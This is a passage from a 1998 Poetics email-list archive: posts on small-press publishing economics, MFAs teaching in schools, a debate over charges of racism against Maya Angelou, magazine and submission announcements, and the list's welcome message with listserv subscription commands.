>even afford math and english teachers, then it's not really a secure place to
>be job-hunting. However, I don't think that letting people with MFAs teach
>would defeat bargaining claims amoung teachers or turn any school into a
>"concentration camp" (i think the parallel drawn is immature, hyperbolic, and
>disrespectful to the actual holocaust survivors, but that is another story
>altogether). As there are teachers who have MAs (or MFAs) who do not have
>certificates or even hours, I don't think that other teachers are in much
>danger of losing anything if someone with an MA gets a job. The reason
that I
>disagree is that people with MFAs have a special talent and can fill a niche
>that few "normal" teachers can.
>
>Jessica Smith
>
>

↑ Index

47. Christopher W. Alexander
twiggy twiggy
Wed 1 Jul 1998

Keston - where, once they've been prepared, am I to mail yr copy of the 'galleys' for PIN POINT CHRONIC CARTOONS? I'm hoping to do that soon, in order that they might be returned for me to finish the book by the last week of July...

chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402 press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

↑ Index

48. Christopher W. Alexander
Re: twiggy twiggy
Wed 1 Jul 1998

---

oh, now that's very nice... sorry, all.

chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402 press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

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49. toddbaron
Re: used to .. but now
Wed 1 Jul 1998

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yes--of course--but with children the realization that language need not be tied to the everyday--or the "self" is very important. The idea of generating a world with the word instead of reorting on it. I used Koch's book--but don't generally use the exercises that stress formula.

I used to
but now I don't.

Tb

↑ Index

50. toddbaron
alice n.
Wed 1 Jul 1998

Does anyone have a current mailing address for Alice Notley? Remap business of a few years ago has left me with an old(er)one.

Todd Baron

thanks!

↑ Index

51. charles alexander
publish poetry?
Wed 1 Jul 1998

I inadvertently deleted a message in which someone wondered, if poets are paying for their publications, whether the publishers can legimately be considered publishers, as opposed to "printers," or "book producers," or something else.

I think every publisher is absolutely different. There is no standard for the small press, for what makes a press a press, for what makes a publisher a publisher. I used to think there was some ideal to live up to; I no longer believe that.

Chax Press is nonprofit, and I'm the founder and executive director and one member of the board of directors.. Technically that means, among many other things, that the money to publish books is not supposed to come out of my pocket, or pockets of members of the board of directors -- if too much comes from any one source so connected with the press, we could get in trouble with the IRS, as I understand it. Nevertheless, I have personally managed to get thousands of dollars into debt because I have chosen to publish poetry. As a result, in part of my own foolish commitments, less books were published by the press from 1993-1997 than in the four years preceding that. Only in 1998, for the first time in a long time, has Chax managed to publish more than four books in a year, and that only because I decided to make a commitment to publish managable chapbooks which are elegantly made but which don't take a lot of money to produce. Chax has been helped, at times during all of these years, yet increasingly in the last five years, by author contributions to their own publications, by author's friends contributions to publications, and by authors the press doesn't even publish contributing to the overall work of the press. Chax has also had a lot of contributions by non-authors, and several grants from government and foundation sources. I've taken loans from people to publish books, and these loans have been terribly difficult to pay back, but I'm still working on it,

for more years than I ever thought it would take. If Chax had to pay for all book publications through grants and non-author contributions, I do not think the press could still be publishing books. As it is, there have been many times when I have thought that Chax should return to the practice, pre-1990, of publishing only handmade limited editions, and not venturing into the more commercial bookpublishing world at all -- but so far I haven't made that decision.

So, is Chax a publisher? I got into this work primarily because I wanted to make books by and to some extent with, poets -- to design them, to make them by hand, and to help them get out to some readers. For most of the now-14 years of Chax Press I have worked primarily on the bookmaking, book design, and fundraising aspects of the work, and, extensively, with setting up readings and residencies locally, something it's actually somewhat easier to raise funds for (than for book publications). I've struggled more at the promotion and distribution/sales parts of the work (but yes, Chax has worked with distributors, has put out announcements and catalogues, put up a web site, and more), roles which I know are essential but which come much less naturally to me. It's difficult for me to choose to spend time doing that work (no matter how important I know it is) rather than writing, reading, bookmaking, or engaging myself with income-producing work outside the press altogether. Chax has had limited success and non-success with distribution, sometimes managing to sell a couple of thousand copies of a book, sometimes struggling to sell a hundred copies of a book. I have not paid authors in cash except for one instance more than a decade ago; I have paid them in copies. I am still making difficult choices with each book in terms of how to pay for it, while trying to honor the sequence of books, to publish a book in the order in which its manuscript was accepted (something which I usually, but not always, have been able to do); and trying to honor words spoken or written to authors about when a book would come out (something which, unfortunately, all too often I have not been able to do).

I'm quite comfortable if someone wants to think of Chax as a printer or bookmaker (these are honorable sorts of work, in some ways less suspect than the work of a publisher sometimes is) rather than as a publisher. Mostly I just look at the work that is to be done, and try my best to do it. Some days, weeks, months, and years, it works better than others. It rarely, possibly never, works as well as I would like it to. On the other hand, all of it still, after some years, seems worth doing.

charles

↑ Index

52. Karen Kelley
Re: three items...
Wed 1 Jul 1998

> *But those successful at slamming, like Paul Beatty, always find a home on the page as well.*

Paul's a friend of mine--we met in grad school, where he was often attacked for using what was actually referred to as "substandard" English in his poems. It was suggested that he supply footnotes. Gregory Corso asked him if he played basketball, Allen asked him if he had ever smoked crack.

Another poet who dislikes Angelou, knows race is biological, but still secretly thrills to hear white people told off,
Karen

↑ Index

53. Karen Kelley
Re: three items...
Wed 1 Jul 1998

Yikes!

The sentence was supposed to say, "Another poet who dislikes Angelou, knows race is *not* biological..."

A word to the wise: if you format a word w/italics & bold print & yr message loses its formatting in email translation, it may drop the word entirely.

↑ Index

54. Rodrigo Toscano
Re: racist poetics; a retort to Brent Long's posting
Wed 1 Jul 1998

So many (crytpo or no-so-crypto retrograde elements) these days speak as if they were the very guarantors of (intellectual? aesthetic? political?) freedoms...just about now (timely) when (oh the horror!) cultured "minorities" (running rampant, afoot, closing in, locking up the gates, downright oppressing your ass!) -- some of them not even "real" doctors at that! (the horror, again, revealed!).. and that they dare strut around like that (as per your words, Brent, "EVERY time").. still speaking like theys all..... And had Angelou..talked like a____ (how should she talk, to y'all, carnalito..what wouldn't be ojectionable to you... tell us...

"Poet, American, Citizen".... generic right-wing shock-jock dismay at it all....(but "poet" there added..very respectable indeed...)

The supposed "OVERTness" of Maya Angelou's "racism"...is a joke, ...especially when you try to prove it by saying that she capitalizes the word Black and not wHITE...Girlfriend! and if the opposite were true, what insidious strategy (literarily, ideologically) would that reveal? ...whoa, but what a racist Angelou is! And Adrienne Rich, what a sexist! (by that very logic).....and here comes the Class of 1848...pushing their (oh-so-pushy) class agenda...

I'm not going to give you a "despite-my-differences-with-Angelou's -political-outlook." (implied, I think, as too reformist) that other listees posted (the spirit of that, however, appreciated) but rather, as you so baldly collude with the right with your shoddy polemics, I'm going to give you an ("my") unconditional defense of Angelou against rightist genius...in the spirit of a Untited Front.

_____ (who stands where?) _____

Rodrigo Toscano

_____

_____

Brent Long wrote "Dear List,

I have been watching the string of postings concerning the protest of Lois-Ann Yamanaka's recent award, based on what apparently were interpreted as racist views of hers.

As I am watching this conversation unfold, I cannot help but wonder if i missed something somewhere along the way when so much attention was given to the genius of Maya Angelou, without regards to her - dare I say- OVERTLY racist viewpoints. I have heard Dr. Angelou (though I hate to call her that, since the degree is an honorary one, and not an academically earned one) speak on several occasions, and EVERY time she has lectured she has addressed the audience (which for some reason is always almost entirely white middle-to-upper-class) as if she were back in Stamps, Arkansas.

In her novels and poetry, the word "black" is always capitalized, while the word "white" is never, and her views are almost bordering on rhetoric (to say it lightly). yet nobody ever says a word about it...why now all the attention concerning the recent award for Yamanaka's poetry??? What sets her up for the chopping block, when ever more severe examples of racism in literature are allowed to pass us by without note???

Another poet, American, citizen sick of the "race" issue,Dear Mr. "Poet, American Citizen" who's, so sick of the "race" issue....

↑ Index

55. toddbaron
Re: they don't?
Thu 2 Jul 1998

Dear Mark:

MFAs--you're right--it ISN"T a terrible thing to bring that to a regular classroom. My MA was the terminal degree at New College and damn if the teachers I work with with credentials/etc don't truly know squat about literature--certainly not poetics--and turn to --even enlightened but still--textbooks or others to tell them how to teach. This educational system--private and public--needs good teachers--I agree --MFAs would be a welcome sight--and of course--the money needs to reflect that those in middle and upper schools REQUIRE a salary comparable to academics--that ain't no bitter rose for me--I work 5 days a week from 7:30-3:30--love it--and am tired and underpaid! Even at a private school! So--hey..phew!

Tb

↑ Index

56. George Bowering
Re: payment
Thu 2 Jul 1998

> *I can say that every book our press has published has paid its authors in copies plus a cash amount. The industry standard in small press publishing is 10 to 15% of press run usually paid in copies, we do a little better.*
>
> *That is rare to non existent in Canada. At least in Southern Ontario, and as far as I know throughout the country.*

What this person is saying is simply not true. In fact it is an enormous distance from the truth. When I first saw the statement in an earlier post I thought the source was the USA. I dont know who he is. I have never run across his name outside this e-mail set. But I have been involved in Canada as a poet, publisher and editor for many years. It would be hard to find a publisher of poetry in Canada that does not pay the poets---unless one is talking about a little local mimeo outfit somewhere.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

57. linda russo
Notley/Gare du Nord pitch & address
Thu 2 Jul 1998

Because a few people have expressed interest:
Introducing GARE DU NORD

Have you checked out Notely & Oliver's new publication _Gare du Nord: A Magazine of poetry and opinion from Paris_ ? It promises to be for the 90s what their newsletter/zine _Scarlet_ was for the 90s [sic]: a fun/serious mix of poetry, commentary, criticism, dreams, premonitions . . .. Subs $18 for 3 issues. 8.5 x 12 xerox/staplebound. Black & White w/art & graphics. Issue 2, which they hope to make "interactive" (see "Reader Inquiry Feature,"below), I hear, is in the works . .

Issue 1, '97 includes

Notley's column "Cosmic Chat" part dream sequence, part poetics, part political commentary satire (well, what did you expect . . .? Remember "Dream Gossip" in _Scarlet_?)

"We've gotto get syntax rid of, eh?" An intriguing dialogue (between "X" and "Y" -- though at one point a typo reveals that" X" is really "A"), and, in the Notley "outrider" experiemental poetic tradition, a bipartisan critique and discussion of utopianism and some radical assumptions about syntactic experiment. Ultimately a discourse on "change" in poetry. In short, in agreement with the notion that "conventional syntax freezes the genre" but problematizing the assumption "that changing language changes the hegemony of political languages, etc." The dialogue, a procces/working-through rather than a judgement, catalogues syntactical innovations (with a few examples/explications), and ruminates on the relationship between cognition and writing, and discusses interestingly the aleatory and the "mannered" as both intersect with syntactic experiment. Worth the price of the issue.

"The Reader Inquiry Feature" where, for constructing an "interactive issue" they request "anecdotes of strange occurences" such as "premonitions of death or appearances of dead people and mental events involving time bending experiences or extraordinary awareness"

Poems by Andrew Duncan, Patrick Miles, Ishmael Klein, Katy Lederer, Elio Schneeman, Grace Lake, D.S. Marriott, Jack Collom, Anselm Hollo, Mattie J. Peterson, Nicholas Johnson, Bill Griffiths, Dawn Michelle Baude, Alice Notley and Tony Lopez.

prose: Douglas Oliver & "From Joe [Brainard]'s Secret Journals 1961"

Alice Notley & Douglas Oliver
Gare du Nord
21 Rue des Messageries
75010 Paris
France

↑ Index

58. Poetics List

Welcome Message

Thu 2 Jul 1998

Rev. 6-1-98

(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month)

_____

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

_____

http://writing.upenn.edu/epc

_____

_____Contents_____

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2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons
New obstacles for exchange arise
Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently over 600 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible. **We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below).** (THIS MEANS *YOU*).

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *Posting to Poetics is a form of publication, not personal communication.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager.
For subscription information contact us at [redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages. _____

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. While relevant excerpts from a post to which you are responding may usefully be appended to your reply, please do not include in your new post the whole text of a long previously posted message. As an outside maximum, the listserv is set to accept no more than 5 messages a day from any one subscriber.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to message blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

or try:

review POETICS by name
review POETICS by country

which will give you the list alphabetically by name or a flawed list by country
(since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

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9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short announcements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

59. **morpheal**

Re: ad hoc [the end of "uncertainty" makes all uncertain]

Thu 2 Jul 1998

> *"Ad hoc approximations abound in modern mathematical physics. They play a very important part in the quantum theory of fields and they are an essential ingredient in the correspondence principle. At the moment we are not concerned with the reasons for this fact, we are only concerned with its consequences: ad hoc approximations conceal and even entirely eliminate, qualitative difficulties. They create a false impression of the excellence of our science...."---from Against Method by Paul Feyeraband---cp*

In many instances ad hoc approximations accomodate anomalies. In some instances they are the quantitatively small, but exceedingly important, differences between the observable and the real. (We tend to immediately think of Heisenberg, and the relation between approximations and uncertainties.) To incoporate those anomalies more completely, eventually without many of those ad hoc approximations requires a paradigm shift. In my opinion it will be a paradigm shift from a four dimensional space-time to a five dimensional space-time, from Einsteinian 4d to post-Einsteinian 5d modeling of reality. This will come about as new devices, instruments, are designed, build and perfected, at the same time, that further deviate away from a tradition that was grounded in a reality based upon the human sensory system. The "invisible world", where many anomalies were a part of the occult, divided away from "hard" science, will become "visible" to science and science will become increasingly inclusive rather than exclusive. That is where the scientist, the artist-poet,and the magician (as the practitioner of magick), eventually meet and merge their knowledge to achieve new effective power over the natural world. The results are morphealist where all "reality" eventually becomes "virtual". Those results are the achievement of the dreams of the alchemists, extended beyond the limits of the alchemical worldview. The perception of a larger reality gives rise to the

transmutations of realities, and the paradigm shift _is_ in fact the mythic "philosopher's stone".

We are currently living in that epoch of human history, within the history of science, where that is in fact happening. It is happening right now.

Morpheal

aka Bob Ezergailis

↑ Index

60. Burt Kimmelman

Re: Parnassus

Thu 2 Jul 1998

---

patrick,

i don't have the address in front of me but you can probably find parnassus' editor herb leibowitz in a phone book or net search (i believe he's on west 89th street, and that is the magazine's address now too. a new issue is just out.

burt

↑ Index

61. Alan J.J.N. Sondheim

NOISE news :: perforations 18 and 17 (FWD and not)

Thu 2 Jul 1998

-

(please note Perforations #17 is still taking submissions - I'm guest editing - including a description at the end of this - Alan)

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"The bit of noise, the small random element, transforms
one system or one order into another."
M. Serres

"Between the rationality for which the analysis speaks and
the law that history repeats there remains a gap,
infinitesimal to be sure,
but fundamental"
M. De Certeau

Welcome to NOISE NEWS, a notification publication of PERFORATIONS and Public Domain, Inc. a non-profit organization devoted to examinations of the crossing points of art, theory, technology and community. (see www.pd.org)
*** *** ***

CALL FOR SUBMISSIONS: PERFORATIONS 18

RELICS

co-editors: Richard Gess ([redacted]
Robert Cheatham ([redacted])

All types of media will be considered, but especially approaches which explore new relations between content and form. Each issue of PERFORATIONS (we now call them 'nodes' since each thematic is an ongoing site of investigation/ crativity) includes straighforward articles articles as well as artistic web projects. Deadlines are fluid. Contact above editors for more information.

In conjunction with PERF. 18, RELICS, we will have a juried show of artifacts, intrusions, evidence, impedimenta, incanabula, hauntings, debris, tibias, fibias and etcs, to take place late winter or early fall. For more information contact [redacted]

(note: the call for submissions can be viewed temporarily in its entirety at:
www.pd.org/~zeug/p18-call/relics-call.html)

PERFORATIONS may be viewed at: www.pd.org/perforations/perf-topics.html
_____ RELICS ..... so: two things (at least) coming to odds--everything is on the road to the relic--and nothing seems (yet) capable of making it cross the border, either to 'finally' dis-appear or be 'totally' reconstituted. These two slots correspond roughly to a circumscribed scientific world view and a more 'ontological' rendition: relics are mere evidence in the first instance of matter's relationship with itself. In the second, they function as evidence of matter's relationship with consiousness (notwithstanding the chiasmatic turnings which 'evidence' goes through at the hands of both--so called 'postmodernism' and its significant other(s)--which threatens to illuminate evidence till it chars and disappears/evinesces/ashes-- or

to ignore the possibility of the 'judgement of matter' (evidence) even as one views it through the bars.)

At any rate, the relic waits, co-terminous with time... even as it attempts to subtly cruise 'through' it...yet strangely anxious.

More PD news:

----Preliminary stages of PERFORATIONS 17, ILLEGIBILITY, co-edited with Alan Sondheim, is up and running (but may still be contributed to. If you had contacted us about inclusion and don't see your material, please get back in touch since some email got inadvertently lost).

----The Public Domain CD, VEIL, is now out and available. Go to our sound and music section or contact [redacted] for more information.

Public Domain, Inc. is a 501 (c) 3 not for profit organization.
http://www.pd.org
[redacted]

Illegibility - for Perforations #17 -

An assumption of this century, Foucault's analysis of _divinatio_ not- withstanding, is that the world is becoming increasingly legible - that there are one or more _readings_ of the world - either through the foreclosing of textuality (what is, can be said), or through an increased understanding aligned with progress and progressivity. If the world is an encoding, then decipherment continues to reduce the unknown, and this might even be measured in terms of bandwidth, toler- ances, and so forth.

On the other hand, one might argue towards an essential and irreduci- ble _illegibility,_ that not everything is decipherable - that there may, perhaps, be unknown or unknowable signs - as well as phenomena masquerading as signs - as well as phenomena having no relation to the symbolic at all.

I am not arguing for a "horizon" of the illegible, but a seepage that occurs perhaps _within_ as well as without the legible. (For example, it may not be the case that every culture can be traced or translated - even in part - into every other.) Perhaps every domain is inherently illegible; perhaps foundations are not always interpretable across the board (and there for are not foundations sub specie aeternis). Consi- der the illegibility and illiteracy of the world, and consider the following, somewhat practical, concerns.

0 Issues of identity, recognition, self-reflexivity / asservation: To what extent does identity depend on legibility? Can one "read" another culture (without or without literacy in that culture) in such a manner that anomie or the sensation

of exile do not occur? Can one "read" one's own culture in this manner? What is the phenmenology of anomie? Of exile?

1 Illiteracy - the inability to read and write. Every text is illegi- ble. (But if one is literate in the language of a text, and the text is visually "clear," does that _necessarily_ mean it is legible?) What is the post-Ivan Illich "take" on language, reading and writing?

2 Computer illiteracy - the inability to use computer technology. (Are computers legible _all the way down_? What constitutes legibility in this case?) What is the political economy of computer technology? Of computer-mediated-communication (CMC) in relation to this? (Think of the division between haves and have-nots for example. What - today - constitutes _having_? Is bandwidth a consideration?)

3 Dead Media (Bruce Sterling) - illegible remnants, archeologies. (What constitutes "media" in the first place?)

4 Infinite _kanji_ - wandering across a Borgesian world in which uni- versals do not exist, in which each signified (in the sense of refer- ence in the world) possesses its own sign. Nothing and everything are simultaneously interpretable in writing. All signs are illegible and legible; all are strictly indexical, ikonic, blurring the distinction.

5 Illegibility of or on or off the Net: What constitutes Internet illegibility; what constitutes Net illiteracy? Do TCP/IP and other protocols play a role here? Since virtual subjectivity is largely textual (or entirely textual, if bit-mapping is considered as such), what would be an _illegible subject_? What sorts of reception theory apply here?

6 Are cultures translatable? Is habitus a discourse or discursive for- mation? What is the political economy of legibility, of illegibility?

7 What constitutes misrecognition? How does misrecognition play into the above? (Misrecognition: an alternative or alternative reading, a non-intended reading, a reading-degree-zero, an absent or absent-mind- ed reading.)

8 Reading and writing "foreign" cultures or the cultures of one's own. Reading and writing on the Net.

9 And finally, to what extent is illegibility _inherent_ in the world at large? And what constitutes this inherency?

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62. Maria Damon
Re: racist poetics; a retort to Brent Long's posting
Thu 2 Jul 1998

one word about this capitalization of "Black," and a response to the false cry of "reverse discrimination" --the practice arose in the 1970s and is not an assertion of racial supremacy but of cultural pride, part of the nationalist practices of that time. to capitalize "white," in my view, *would* be to assert white supremacy, and i cringe when i see it done by students etc who think they are simply being "fair" by treating both adjectives the same. likewise, the subtext of brent's text was this "reverse discrimination" red herring thing, whereby attempts to redress injustice are seen as unjust because they undermine privilege which is so naturalized it is not experienced or perceived as privilege by its recipients. and all of these matters have little or no bearing on whether or not you like Maya Angelou's poetry. As far as i'm concerned, it should be understood in context.

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63. William Marsh
Re: publish poetry?
Thu 2 Jul 1998

call it what you will, charles, just please keep it coming

three cheers

bill

At 07:44 PM 7/1/98 -0700, charles wrote:
>I inadvertently deleted a message in which someone wondered, if poets are
>paying for their publications, whether the publishers can legimately be
>considered publishers, as opposed to "printers," or "book producers," or
>something else.
>
>I think every publisher is absolutely different. There is no standard for
>the small press, for what makes a press a press, for what makes a publisher
>a publisher. I used to think there was some ideal to live up to; I no
>longer believe that.
>
>Chax Press is nonprofit, and I'm the founder and executive director and one
>member of the board of directors.. Technically that means, among many other
>things, that the money to publish books is not supposed to come out of my
>pocket, or pockets of members of the board of directors -- if too much
>comes from any one source so connected with the press, we could get in

>trouble with the IRS, as I understand it. Nevertheless, I have personally
>managed to get thousands of dollars into debt because I have chosen to
>publish poetry. As a result, in part of my own foolish commitments, less
>books were published by the press from 1993-1997 than in the four years
>preceding that. Only in 1998, for the first time in a long time, has Chax
>managed to publish more than four books in a year, and that only because I
>decided to make a commitment to publish managable chapbooks which are
>elegantly made but which don't take a lot of money to produce. Chax has
>been helped, at times during all of these years, yet increasingly in the
>last five years, by author contributions to their own publications, by
>author's friends contributions to publications, and by authors the press
>doesn't even publish contributing to the overall work of the press. Chax
>has also had a lot of contributions by non-authors, and several grants from
>government and foundation sources. I've taken loans from people to publish
>books, and these loans have been terribly difficult to pay back, but I'm
>still working on it, for more years than I ever thought it would take. If
>Chax had to pay for all book publications through grants and non-author
>contributions, I do not think the press could still be publishing books. As
>it is, there have been many times when I have thought that Chax should
>return to the practice, pre-1990, of publishing only handmade limited
>editions, and not venturing into the more commercial bookpublishing world
>at all -- but so far I haven't made that decision.
>
>So, is Chax a publisher? I got into this work primarily because I wanted to
>make books by and to some extent with, poets -- to design them, to make
>them by hand, and to help them get out to some readers. For most of the
>now-14 years of Chax Press I have worked primarily on the bookmaking, book
>design, and fundraising aspects of the work, and, extensively, with setting
>up readings and residencies locally, something it's actually somewhat
>easier to raise funds for (than for book publications). I've struggled more
>at the promotion and distribution/sales parts of the work (but yes, Chax
>has worked with distributors, has put out announcements and catalogues, put
>up a web site, and more), roles which I know are essential but which come
>much less naturally to me. It's difficult for me to choose to spend time
>doing that work (no matter how important I know it is) rather than writing,
>reading, bookmaking, or engaging myself with income-producing work outside
>the press altogether. Chax has had limited success and non-success with
>distribution, sometimes managing to sell a couple of thousand copies of a
>book, sometimes struggling to sell a hundred copies of a book. I have not
>paid authors in cash except for one instance more than a decade ago; I have
>paid them in copies. I am still making difficult choices with each book in
>terms of how to pay for it, while trying to honor the sequence of books, to

>publish a book in the order in which its manuscript was accepted (something
>which I usually, but not always, have been able to do); and trying to honor
>words spoken or written to authors about when a book would come out
>(something which, unfortunately, all too often I have not been able to do).
>
>I'm quite comfortable if someone wants to think of Chax as a printer or
>bookmaker (these are honorable sorts of work, in some ways less suspect
>than the work of a publisher sometimes is) rather than as a publisher.
>Mostly I just look at the work that is to be done, and try my best to do
>it. Some days, weeks, months, and years, it works better than others. It
>rarely, possibly never, works as well as I would like it to. On the other
>hand, all of it still, after some years, seems worth doing.
>
>charles
>
>

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

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64. **shemurph**
Re: publish poetry?
Thu 2 Jul 1998

Thanks for an insightful post, Charles. Money aside, what comes to mind immediately for me is that a publishing center (press, house) represents an expression of what the publisher/editor considers valuable work that s/he wants to make available for others to read. It's the TASTE of the individual, often quite varied and wide-ranging, that matters. And, as Charles points out, sometimes this is done at considerable sacrifice, because the labor given to the effort is often unlikely to be rewarded except in intangible ways.

Depending upon the respect that a publisher has gained over a period of time, that individual's vote of confidence (to use a crusty phrase) has meaning. While none of us has a default nod in place for any given individual, it does mean a great deal to me to know that a particular publisher, be it Charles, Bill Slaughter, the Waldrops, Peter Ganick, Douglas Messerli, or any of several publishers has recognized a work as worth publishing and distributing.

Looking at little magazines, some of them very inexpensively made, and looking at web zines, less expensive still, we'd need to ask the question, "Why submit

work there?" Often, it's the quality and the thinking behind the selection that attracts us.

The act of duplicating something is a very small act. The long-range effort of developing credibility over time is large and, in my mind, worthy. There is all the difference in the world between printing and developing a PRESENCE. Hats off to those who continue to do the latter. It makes a huge difference, even if not a monetarily worthwhile one.

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65. Charles Bernstein
Secret Location: Last Weeeks
Thu 2 Jul 1998

A Secret Location on the Lower East Side: Adventures in Writing 1960-1980 -- the "mimeo (and xerox) revolution" show curated by Steve Clay and Rodney Phillips will be closing on July 24. It's at the The New York Public Libary, 42nd Street and Fifth Avenue, in the Berg Exhibition Room, on the third floor of the library. Library hours: Monday, Thursday–Saturday, 10 a.m.–6 p.m. (closed Saturday, July 4), Tuesday and Wednesday, 11 a.m.–6 p.m. Closed Sundays.

